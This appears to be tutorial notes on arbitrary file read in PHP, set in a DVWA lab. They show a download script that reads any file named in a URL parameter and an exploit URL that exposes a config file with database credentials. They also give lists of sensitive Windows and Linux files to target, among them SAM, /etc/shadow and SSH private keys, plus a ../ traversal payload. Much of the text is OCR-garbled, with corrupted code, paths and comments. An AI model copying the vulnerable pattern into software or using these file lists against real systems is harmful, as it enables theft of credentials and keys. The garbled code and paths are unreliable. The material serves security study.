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<?php
$filename = $_GET['filename'];
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg’
header('Content-Disposition: attachment; filename="'.$filename);
header('cContent-Lengh: '.filesize($filename));
?>
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1. test.php?filename=test.php
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$filename = §_GET[' filename’];

echo file_get_contents($1ilename)

header (* Content-Type: imgage/ipeg );

header (" Content-Disposition: attachment; filename=", $filensme);
header (" Content—Lengh: . filesize (§filenane));
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<?php
$filename = $_GET['filename'];
readfile($filename);

?>
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Load URL  view-source:http://localhost/test.php?filename=./config/config.inc.php

split URL

Execute

[] Enable Post data || Enable Referrer

<Pphp

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server’ variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
#  Thanks to @digininja for the fix.

# Database management system to use
SDBMS = "HySQL’ ;
#$DBHS = "PGSQL’ : // Currently disabled

# Database variables

#  WARNING: The database specified under db database WILL BE ENTIRELY DELETED during setup.

# Please use a database dedicated to DVWA.

#

# If you are using MariaDB then you cannot use root, you must use create a dedicated DVFA user.
# See README.md for more information on this.

F_DVWA = array();

$ DVWA[ db_server’ ] ='127.0.0.1;

\$_DVFA[ 'db_database’ J = 'dvwa’: E—
8 DVFA[ "db_user’ ] = 'root’;

$ DVFA[ 'db_password’ ] = 'root’;
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windows :

Cc:\boot.ini //BEERFIRA
:\Windows\System32\inetsrv\MetaBase.xml //IISECEN{4
:\Windows\repair\sam //fFHERFEHIRELEIIZG

:\Program Files\mysql\my.ini //Mysqlf&

:\Program Files\mysql\data\mysql\user.mMYyD //Mysql root
:\Windows\php.ini //phpEEER

\Windows\my.ini //MysqlE&EE
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Linux :

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts

/etc/passwd BERPXHH
/etc/shadow BEEENMH
/etc/my.cnf

/etc/httpd/conf/httpd.conf BEFapachelEESEF
/root/.bash_history BEHRFDS
/root/.mysql_history
/proc/self/fd/fd[0-9]* SRR
/proc/mounts

/porc/config.gz
/index.php?f=../../../../../../etc/passwd
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //iEREMEEHTENHEFNAE
/etc/passwd

/etc/shadow

Jetc/my.cnf //mysqlEEESTit



/etc/httpd/conf/httpd.conf //apacheFt&I {4
/root/.bash_history //FBRFAEHRIICRIEF
/root/.mysql_history //mysqlSReSicisus
/proc/mounts //iCREFHEEHIZE
/porc/config.gz //WIZECEN(H
/var/lib/mlocate/mlocate.db //&X{H&ER
/porc/self/cmdline //ZLEIHERcmd]ine&#]
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